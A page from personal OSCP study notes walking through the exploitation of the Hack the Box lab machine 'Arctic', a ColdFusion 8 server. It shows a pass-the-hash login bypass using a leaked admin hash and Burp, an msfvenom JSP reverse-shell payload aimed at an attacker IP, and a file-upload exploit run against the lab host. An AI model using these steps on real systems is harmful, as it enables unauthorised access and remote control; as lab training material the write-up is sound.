📗
OSCP Prep
  • OSCP Preperation
  • Hack the Box Linux
    • Bashed
    • Nibbles
    • Sense
    • Conceal
    • La Casa de Papel
    • Lightweight
    • Jerry
      • Scanning and Enumeration
    • Jarvis
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lesson's Learned
    • TartarSauce
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Poison
      • Turning LFI into RFI
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Node(Comeback to)
      • Scanning and Enumeration
      • Exploitation
    • SolidState
      • Scanning and Enumeration
      • Exploitation and POSTY
      • Lessons Learned
    • Nineveh
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Cronos
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • SwagShop
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Networked
      • Exploitation
    • FriendZoned
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Sunday
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Valentine
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Irked
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Kotarak
    • Nibbles
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
  • Hack the Box Windows
    • Bounty
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Blue
      • Scanning and Enumeration
      • Lessons Learned
    • Granny
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Grandpa
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Arctic
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Optimum
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Devel
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Legacy (comeback to )
      • Scanning and Enumeration
      • Exploitation
  • Slick Tricks
    • Banned by Bruteforce? Try this!
    • Hydra for Web Logins
    • Grepping
    • Redirecting all Script Traffic to Burp
    • Word Count
    • Reverse Shell Tricks
    • Transfering files
  • Nmap Help
  • Linux Guide
    • Linux Shortcuts
  • Privelege Escalation
    • Linux Privilege Escalation
Powered by GitBook
On this page
  • Reverse Shell Time
  • Generate Payload
  • Running exploit
  • Set up Listener

Was this helpful?

  1. Hack the Box Windows
  2. Arctic

Exploitation

PreviousScanning and EnumerationNextPost Exploitation

Last updated 4 years ago

Was this helpful?

From our past enumeration, the password appears to be hashed. When we find a hash we could try to crack it, however, this could take a long time. Before we crack it, lets see if there are any vulnerabilities in the way the application handles passwords on the client side. Right clicking the source we will note the following: 

<form name="loginform" action="/CFIDE/administrator/enter.cfm" 
method="POST" onSubmit="cfadminPassword.value = 
hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));" >

  • The password is taken from the password field and hashed using sha1.(client side)

  • Hashed password is HMAC-ed using a salt value taken from the parameter salt field. (client side)

  • The HMAC-ed password gets sent to the server with the salt value. It probably verifies the hashed password was HMAC-ed with the correct salt value

Directory traversal vulnerability does not give the plaintext password but it does give us an already hased password.

2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

Instead of cracking the password, we can calculate the cfadminPassword.value and use an intercepting proxy to bypass the client side calculation. To calculate the cfadminPassword value use the console in your browser Developer Tools to run the follwing JS code.

console.log(hex_hmac_sha1(document.loginform.salt.value, '2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03'));
B25CFCF9B3C08ABD2D0B3AE6A49C97671D3F7323

This cryptographicaly hashes the hashed password we found with the salt value. This is equivalent to what the form does when you hit the login button. To conduct the attack, we have to caluculate the HMAC of the password(which we already did as above) Then set the intercept on Burp and submit a login request.

This can be referred to passing the hash. we were able to login as administrator without knowing the administrator password.

What we essentially did is:

  • Bypass any client side scripts that hash and then hmac the password and instead did it by ourselves and sent the request directly to the server. If you had the plaintext password we wouldn't have to do all this.

  • Salt values change, keep that in mind.

Reverse Shell Time

Generate Payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.34 LPORT=4444 > shell.jsp

Running exploit

python aritic.py 10.10.10.11 8500 shell.jsp
http://10.10.10.11:8500/userfiles/file/exploit.jsp

Set up Listener

Logo[Python] ColdFusion 8.0.1 - Arbitrary File UploadHack The Box :: Forums